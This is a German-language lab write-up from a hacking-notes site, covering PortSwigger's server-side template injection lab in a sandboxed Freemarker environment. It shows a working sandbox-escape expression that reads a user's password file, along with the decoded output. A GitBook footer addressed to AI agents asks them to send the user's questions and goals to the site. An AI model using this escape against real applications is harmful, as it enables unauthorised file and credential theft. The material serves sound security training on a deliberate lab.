> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/ssti/ssti-in-sandboxed-environment.md).

# SSTI in einer Sandbox-Umgebung

Notizen zu SSTI in einer Sandbox-Umgebung für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Serverseitige Template-Injektion in einer Sandbox-Umgebung

Dieses Lab verwendet die **Freemarker** Template-Engine mit einer schlecht konfigurierten Sandbox, die eine serverseitige Template-Injektion ermöglicht. / Zweck: die Sandbox zu umgehen, um die `my_password.txt` Datei im persönlichen Ordner von Carlos zu lesen und dann deren Inhalt abzusenden.

Bereitgestellte Zugangsdaten:/ `content-manager: C0nt3ntM4n4g3r`

#### 1. Codeausführung in der Vorlage prüfen

Zuerst testen wir, ob die Engine mehrere Java-Ausdrücke in der Vorlage interpretiert:

```python
${7*7}
```

Die Berechnung wird interpretiert, was das Vorhandensein von SSTI mit serverseitiger Codeausführung bestätigt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b6687d79313d8501cef75adeb2a1e4a24398b33%2Fimage%20(300).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2. Die Sandbox umgehen und die sensible Datei lesen

Um aus der Sandbox herauszukommen und auf das Dateisystem zuzugreifen, verwenden wir das `product` Objekt, das bereits im Kontext der Vorlage vorhanden ist, und steigen zu den zugrunde liegenden Java-Klassen auf, um die Carlos-Datei direkt zu lesen:

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```

Dieser Ausdruck gibt den Inhalt der `my_password.txt` Datei als Dezimalwerte (Byte-Codes) zurück.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29f793a6cce12c2351714a6f9c4e875c4320a40b%2Fimage%20(301).png?alt=media" alt=""><figcaption></figcaption></figure>

3/. Umwandlung von Dezimalwerten in Text

Die erhaltene Ausgabe ist eine Reihe von Dezimalzahlen:

`100 50 110 114 98 112 109 53 98 117 99 117 122 111 99 106 101 101 54 98`

Die Umwandlung dieser Werte in ASCII ergibt das folgende Passwort:

`d2nrbpm5bucuzocjee6b`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/ssti/ssti-in-sandboxed-environment.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
